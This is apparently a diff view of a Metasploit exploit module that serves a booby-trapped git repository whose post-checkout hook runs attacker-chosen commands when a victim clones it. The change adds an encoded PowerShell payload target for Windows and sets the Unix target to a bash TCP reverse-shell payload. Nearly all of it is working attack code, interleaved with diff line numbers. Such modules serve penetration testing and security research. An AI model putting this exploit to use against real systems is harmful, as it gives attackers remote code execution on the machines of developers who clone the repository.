@@ -9,6 +9,7 @@ class Metasploit4 < Msf::Exploit::Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpServer
12
+ include Msf ::Exploit ::Powershell
12
13
13
14
def initialize ( info = { } )
14
15
super ( update_info (
@@ -53,24 +54,28 @@ def initialize(info = {})
53
54
54
55
] ,
55
56
'DisclosureDate' => 'Dec 18 2014' ,
56
- # TODO: correct all of this
57
- 'Payload' =>
58
- {
59
- 'Compat' =>
60
- {
61
- 'PayloadType' => 'cmd' ,
62
- 'RequiredCmd' => 'generic perl bash'
63
- } ,
64
- 'EncoderType' => Msf ::Encoder ::Type ::Raw
65
- } ,
66
- 'Platform' => %w( osx win ) ,
67
- 'Targets' =>
57
+ 'Targets' =>
68
58
[
69
59
[
70
60
'Automatic' ,
71
61
{
72
62
'Platform' => [ 'unix' ] ,
73
- 'Arch' => ARCH_CMD
63
+ 'Arch' => ARCH_CMD ,
64
+ 'Payload' =>
65
+ {
66
+ 'Compat' =>
67
+ {
68
+ 'PayloadType' => 'cmd cmd_bash' ,
69
+ 'RequiredCmd' => 'generic bash-tcp'
70
+ } ,
71
+ }
72
+ }
73
+ ] ,
74
+ [
75
+ 'Windows Powershell' ,
76
+ {
77
+ 'Platform' => [ 'windows' ] ,
78
+ 'Arch' => [ ARCH_X86 , ARCH_X86_64 ]
74
79
}
75
80
]
76
81
] ,
@@ -102,6 +107,8 @@ def setup
102
107
end
103
108
setup_git unless git_uri . blank?
104
109
setup_mercurial unless mercurial_uri . blank?
110
+
111
+ super
105
112
end
106
113
107
114
def setup_git
@@ -120,7 +127,17 @@ def setup_git
120
127
# .git/hooks/post-checkout and will subsequently execute commands of our
121
128
# choosing upon cloning
122
129
# build the hook file blob
123
- full_cmd = "#!/bin/sh\n #{ payload . encoded } \n "
130
+ case target . name
131
+ when 'Automatic'
132
+ full_cmd = "#!/bin/sh\n #{ payload . encoded } \n "
133
+ when 'Windows Powershell'
134
+ psh = cmd_psh_payload ( payload . encoded ,
135
+ payload_instance . arch . first ,
136
+ remove_comspec : true ,
137
+ encode_final_payload : true )
138
+ full_cmd = "#!/bin/sh\n #{ psh } "
139
+ end
140
+
124
141
sha1 , content = build_object ( 'blob' , full_cmd )
125
142
trigger = "/objects/#{ get_path ( sha1 ) } "
126
143
@repo_data [ :git ] [ :trigger ] = trigger
0 commit comments